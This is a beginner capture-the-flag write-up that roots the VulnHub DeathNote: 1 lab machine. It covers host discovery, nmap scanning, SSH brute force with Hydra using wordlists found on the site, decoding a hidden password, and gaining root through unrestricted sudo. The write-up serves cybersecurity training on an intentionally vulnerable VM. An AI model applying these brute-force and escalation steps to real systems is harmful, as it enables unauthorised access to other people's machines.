---
# System prepended metadata

title: 'VULNHUB DEATHNOTE: 1 WALKTHROUGH'

---


![deathnote4](https://hackmd.io/_uploads/HkIRPr7DA.gif)

**Hello, fr13nds**

# VULNHUB DEATHNOTE: 1 WALKTHROUGH
This is my first article in which I'll ***pwn*** the machine ***DeathNote1*** provided by vulnhub.

``DeathNote: 1`` is a beginner - friendly vulnerable machine available on vulnhub, a platform that provides intentionally vulnerable systems for educational purposes in cybersecurity. It's an easy machine based on the anime character ``DeathNote``.
For more information about the machine, check  [DeathNote: 1](https://www.vulnhub.com/entry/deathnote-1,739/)

Now, let's download the ``.OVA file``. Before you go ahead to download the ``.OVA file``, make sure you have a virtual machine installed on your operating system, preferably ``Oracle VM Virtual Box`` and also a linux distro installed in ``virtualbox``. For this writeup, I'll use [kali linux 2024.3](https://kali.org).

![Screenshot 1](https://hackmd.io/_uploads/Syfl_qzD0.png)

Now, after downloading the ``.OVA file``, go to ``virtualbox``, at the top leftmost part, select ``File``, then click ``Import Appliance``, as shown in the screenshot below;

![Screenshot 2](https://hackmd.io/_uploads/S1LYK9zw0.jpg)
On clicking ``Import Appliance``, navigate to the location of the downloaded ``OVA file`` and select it. Follow the on - screen instructions and leave everything as default.

More importantly, configure the ``DeathNote`` machine to be on the same network as the attacking machine, ``Kali linux`` which is ``NAT Network`` in my own case. This is to allow them to communicate with each other as if they were on a physical local network.
![Screenshot 4](https://hackmd.io/_uploads/HyOQC9GPR.png)

Congratulations! We are done with the configuration process. Now, let's start both machines and head up to our kali machine to begin hacking...
![hacking](https://hackmd.io/_uploads/B1PQKH7PC.gif)


### Target Identification
Let's get the IP address of the target machine, which is the ``deathnote`` machine using the ``netdisocover`` utility on kali linux.
```
┌──(g0df4th3r㉿kali)-[~/vulnhub/deathnote]
└─$ sudo netdiscover
```
![Screenshot (deathnote1)](https://hackmd.io/_uploads/SyTdryVwC.png)

*The IP address of the target is 192.168.10.9*

### Initial Enumeration & Service Enumeration
Next, we run a basic nmap scan to enumerate the open ports and service version
```
┌──(g0df4th3r㉿kali)-[~/vulnhub/deathnote]
└─$ nmap -sV 192.168.10.9  
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-03 12:09 WAT
Nmap scan report for 192.168.10.9
Host is up (0.47s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
MAC Address: 08:00:27:83:9C:59 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.15 seconds
```
*From the Nmap scan, we can see that SSH and HTTP are open which runs on port 22 and port 80 respectively*

Next, we enumerate the web server by typing ``http://"the IP address of the target machine"`` on the web browser. On doing this, we get an error. Now,to solve that error, you need to edit the ``/etc/hosts`` file on kali using the following command:
```
┌──(g0df4th3r㉿kali)-[~/vulnhub/deathnote]
└─$ sudo nano /etc/hosts
```
Then, add the IP address of the vulnerable machine to ``/etc/hosts`` file. Refresh the webpage and you should get a wordpress site.

![Screenshot (deathnote2)](https://hackmd.io/_uploads/Bk0hBkEDR.png)


From the webpage, we get a lot of information of which some may be useful. That is left for us to figure out. We get two possible usernames which are ``kira`` and ``L``. On clicking the ``Hint`` icon, we are taken to another page, ``a hint page``.On the ``hint`` page, we see a ``FInd a notes.txt file on server`` or ``See the L comment``. When we scroll again, we get a possible password which is in a comment made by ``L``

![Screenshot (deathnote3)](https://hackmd.io/_uploads/SJ1gLyVPR.png)

![Screenshot (deathnote4)](https://hackmd.io/_uploads/BJW7IkEvA.png)

This is some useful information. Let's further dig. ==Good reconnaissance is key in exploitation==. Now, let's check the ``/robots.txt`` path. We get another path ``/important.jpg``. I thought to myself, this path must be nice but haha, nothing much there, just additional information about our target.
``Ps: The file extension isn't an image but a collection of different texts``

![Screenshot (deathnote5)](https://hackmd.io/_uploads/Bkg581NDC.png)

We use the ``curl`` command to get data from the image ``important.jpg``
```
┌──(g0df4th3r㉿kali)-[~/vulnhub/deathnote]
└─$ curl http://192.168.10.9/important.jpg
i am Soichiro Yagami, light's father
i have a doubt if L is true about the assumption that light is kira

i can only help you by giving something important

login username : user.txt
i don't know the password.
find it by yourself 
but i think it is in the hint section of site
```

This information tells us that ``user.txt`` can be used as a wordlist for usernames and ``notes.txt`` can be used as a passwordlist.
Now, let's go back to the wordpress site and right click to ``view page source``, to see if we can get any leads. On viewing the page source, we get a directory ``/wordpress/wp-content/uploads/2021/07``. Let's go ahead to check it out!

![Screenshot (deathnote6)](https://hackmd.io/_uploads/BJfRLyEv0.png)

![Screenshot (deathnote7)](https://hackmd.io/_uploads/HJUew1VDR.png)


On checking it, we get ``notes.txt`` and ``user.txt``.
```
death4
death4life
death4u
death4ever
death4all
death420
death45
death4love
death49
death48
death456
death4014
1death4u
yaydeath44
thedeath4u2
thedeath4u
stickdeath420
reddeath44
megadeath44
megadeath4
killdeath405
hot2death4sho
death4south
death4now
death4l0ve
death4free
death4elmo
death4blood
death499Eyes301
death498
death4859
death47
death4545
death445
death444
death4387n
death4332387
death42521439
death42
death4138
death411
death405
death4me
```
```
KIRA
L
ryuk
rem
misa
siochira 
light
takada
near
mello
l
kira
RYUK
REM
SIOCHIRA
LIGHT
NEAR
```
Now, this is some useful information. We will use this information to bruteforce login to the target machine using a popular password cracking tool, ``Hydra``.

```
┌──(g0df4th3r㉿kali)-[~/Desktop]
└─$ hydra -L user.txt -P notes.txt ssh://192.168.10.9
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-07-04 08:30:51
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 792 login tries (l:18/p:44), ~50 tries per task
[DATA] attacking ssh://192.168.10.9:22/
[STATUS] 235.00 tries/min, 235 tries in 00:01h, 560 to do in 00:03h, 13 active
[22][ssh] host: 192.168.10.9   login: l   password: death4me
```
We got a valid password that matches a username. That is some good news! Let's go ahead to SSH into the target machine but before we do that, let's go through the command.
#### Explanation of the command
``L user`` : Specifiesthe file ``user.txt`` containing a list of usernames to try.
``-P notes.txt`` : Specifies the file ``notes.txt`` containing a list of passwords to try.
``ssh://192.168.10.9`` : The target service (SSH) and the IP address of the target machine.

```
┌──(g0df4th3r㉿kali)-[~/Desktop]
└─$ ssh l@192.168.10.9
l@192.168.10.9's password: 
Linux deathnote 4.19.0-17-amd64 #1 SMP Debian 4.19.194-2 (2021-06-21) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Jul  3 18:39:29 2024 from 192.168.10.4
l@deathnote:~$ whoami
l
```

We succesfully logged in. Now,let's list the services running on the machine to see if we can get any fruit. We get a text file, ``user.txt``. On viewing it, we see an esoteric language, most likely known as ``Brainfuck``.

```
l@deathnote:~$ ls
user.txt
l@deathnote:~$ cat user.txt
++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>+++++.<<++.>>+++++++++++.------------.+.+++++.---.<<.>>++++++++++.<<.>>--------------.++++++++.+++++.<<.>>.------------.---.<<.>>++++++++++++++.-----------.---.+++++++..<<.++++++++++++.------------.>>----------.+++++++++++++++++++.-.<<.>>+++++.----------.++++++.<<.>>++.--------.-.++++++.<<.>>------------------.+++.<<.>>----.+.++++++++++.-------.<<.>>+++++++++++++++.-----.<<.>>----.--.+++..<<.>>+.--------.<<.+++++++++++++.>>++++++.--.+++++++++.-----------------.
```

When we deocde this using any free online brainfuck compiler, we get this message;
```i think u got the shell , but you wont be able to kill me -kira ```

This doesn't give us any useful information. Remember, we found ``/opt`` directory earlier. Let's see what is in there.

We get a ``case.wav`` file and a ``hint``. On viewing the ``case.wav`` file, we get;

```
l@deathnote:/opt/L/fake-notebook-rule$ cat case.wav
63 47 46 7a 63 33 64 6b 49 44 6f 67 61 32 6c 79 59 57 6c 7a 5a 58 5a 70 62 43 41 3d
```
```
l@deathnote:/opt/L/fake-notebook-rule$ cat hint
use cyberchef
```

From the ``case.wav`` file, we get a hexadecimal string. Let's decode that using cyberchef. On decoding, we get a ``base 64`` string. When we further decode, we get ``passwd : kiraisevil`` as seen in the screenshot below;

![Screenshot (deathnote10)](https://hackmd.io/_uploads/By_rDkED0.png)

![Screenshot (deathnote11)](https://hackmd.io/_uploads/H1VPvJEDA.png)

This seems to be the password for the user, ``kira``. Now, let's switch user to ``kira``

```
l@deathnote:/opt/L/fake-notebook-rule$ su -l kira
Password: 
kira@deathnote:~$ id
uid=1001(kira) gid=1001(kira) groups=1001(kira),27(sudo)
```

Beautiful! Now, we are in the shell of the user ``kira``. Let's switch it up to see if we can escalate any privileges.

```
kira@deathnote:~$ sudo -l
[sudo] password for kira: 
Matching Defaults entries for kira on deathnote:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User kira may run the following commands on deathnote:
    (ALL : ALL) ALL
kira@deathnote:~$ sudo su -l
```

Awesome! ``kira`` can execute anything as any user. This tells us to more wokr, as we can get the root shell using the command ``sudo su -l``

```
root@deathnote:~# ls
root.txt
root@deathnote:~# cat root.txt


      ::::::::       ::::::::       ::::    :::       ::::::::       :::::::::           :::    :::::::::::       :::::::: 
    :+:    :+:     :+:    :+:      :+:+:   :+:      :+:    :+:      :+:    :+:        :+: :+:      :+:          :+:    :+: 
   +:+            +:+    +:+      :+:+:+  +:+      +:+             +:+    +:+       +:+   +:+     +:+          +:+         
  +#+            +#+    +:+      +#+ +:+ +#+      :#:             +#++:++#:       +#++:++#++:    +#+          +#++:++#++   
 +#+            +#+    +#+      +#+  +#+#+#      +#+   +#+#      +#+    +#+      +#+     +#+    +#+                 +#+    
#+#    #+#     #+#    #+#      #+#   #+#+#      #+#    #+#      #+#    #+#      #+#     #+#    #+#          #+#    #+#     
########       ########       ###    ####       ########       ###    ###      ###     ###    ###           ########       

##########follow me on twitter###########3
and share this screen shot and tag @KDSAMF
root@deathnote:~#
```

We got a text file ``root.txt`` and on viewing the content, we are greeted with ==Congrats==

Voila! That was easy, right? We were able to gain root access and ``pwn`` the DeathNote1 machine. Hope you found this write-up interesting! Thanks for reading. Cheers :)
Let's connect on [Linkedin](https://www.linkedin.com/in/gideon-chukwuka)

![anime-hacking](https://hackmd.io/_uploads/H178YyEDC.gif)




